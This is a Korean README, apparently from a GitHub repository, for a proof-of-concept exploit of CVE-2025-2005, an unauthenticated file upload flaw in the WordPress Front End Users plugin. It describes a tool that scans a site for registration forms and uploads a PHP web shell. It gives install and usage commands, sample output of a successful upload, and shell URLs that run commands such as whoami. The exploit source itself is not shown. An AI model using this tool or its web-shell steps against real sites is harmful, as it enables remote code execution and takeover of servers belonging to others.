WordPress FEUP 임의 파일 업로드 익스플로잇 (CVE-2025-2005)

이 저장소는 등록 양식에 MIME/파일 형식 검증이 없어 임의 파일 업로드에 취약한 WordPress Front End Users 플러그인(3.2.32까지)에 대한 PoC(Proof of Concept) 익스플로잇을 제공합니다. 이를 통해 인증되지 않은 공격자가 악성 파일(예: 웹 셸)을 업로드하여 서버에서 원격 코드 실행(RCE)으로 이어질 수 있습니다.

기능

CVE-2025-2005: WordPress Front End Users 플러그인 파일 업로드 취약점
간단한 명령줄 인터페이스
등록 양식 자동 검색
사용자 지정 사용자 이름/비밀번호를 사용하는 셸 업로더

작동 방식

취약한 FEUP 등록 양식에 등록 요청을 전송합니다.
파일 입력 필드를 통해 PHP 셸을 업로드하여 파일 형식 제한을 우회합니다.
업로드 상태를 표시하고 사이트가 취약한지 알려줍니다.

테스트 대상

다음을 포함하는 등록 양식을 찾습니다:
ewd-feup-register-form
다음과 같은 URL에서:

/register/
/signup/

또는 홈페이지에서 발견된 모든 링크

시작하기

Python 3.x
requests 및 beautifulsoup4 모듈:

pip install requests beautifulsoup4

설치

https://github.com/mrmtwoj/CVE-2025-2005.git
cd CVE-2025-2005

사용법

python3 exploit.py --url http://target.com --user hacker --password pass123

샘플 출력

[*] Scanning site: http://victim.com
[*] Found 17 pages.
[+] Registration form found at: http://victim.com/register
[*] Uploading shell...
[+] Shell uploaded successfully!

익스플로잇 실행

Location ::
http://victim.com/wp-content/uploads/shell.php
http://victim.com/wp-content/uploads/ewd-feup-user-uploads/shell.php
RUN ::
http://victim.com/wp-content/uploads/shell.php?cmd=whoami

CVE-2025-2005

인기